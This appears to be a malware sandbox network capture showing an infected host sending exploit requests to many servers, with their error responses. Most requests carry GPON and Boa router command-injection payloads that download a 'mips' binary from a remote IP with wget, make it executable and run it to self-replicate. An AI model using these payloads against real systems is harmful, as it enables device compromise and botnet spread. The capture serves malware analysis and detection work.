Apr 15, 2024 08:53:02.788223982 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.114666939 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:02 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	47590	178.136.123.159	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.801021099 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	58558	107.175.235.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.924994946 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.077653885 CEST	450	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.1.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	43410	45.32.202.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.956978083 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.141731977 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 15 Apr 2024 06:53:03 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	40218	20.241.216.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.987154961 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.205302954 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Apr 15, 2024 08:53:03.735255957 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	37706	18.211.165.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.987725019 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.202944040 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:03 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	42614	23.50.27.211	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.073695898 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.375058889 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:03 GMT Date: Mon, 15 Apr 2024 06:53:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 63 66 30 32 38 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 35 37 63 64 61 61 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 63 66 30 32 38 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 35 37 63 64 61 61 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.acf02817.1713163983.57cdaa9<P>https://errors.edgesuite.net/9.acf02817.1713163983.57cdaa9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	46730	23.197.121.143	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.076124907 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.380145073 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:03 GMT Date: Mon, 15 Apr 2024 06:53:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 64 62 31 30 66 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 33 34 65 66 65 65 39 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 64 62 31 30 66 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 33 34 65 66 65 65 39 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9db10f17.1713163983.34efee9e<P>https://errors.edgesuite.net/9.9db10f17.1713163983.34efee9e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	60260	23.77.19.215	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.079869032 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.388168097 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:03 GMT Date: Mon, 15 Apr 2024 06:53:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 35 64 38 32 33 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 38 30 34 32 32 30 63 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 35 64 38 32 33 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 33 26 23 34 36 3b 38 30 34 32 32 30 63 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.65d82317.1713163983.804220c9<P>https://errors.edgesuite.net/9.65d82317.1713163983.804220c9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	44992	121.42.10.7	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.083769083 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.396043062 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:03 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	52296	188.166.248.194	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:03.086920023 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.416888952 CEST	1289	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 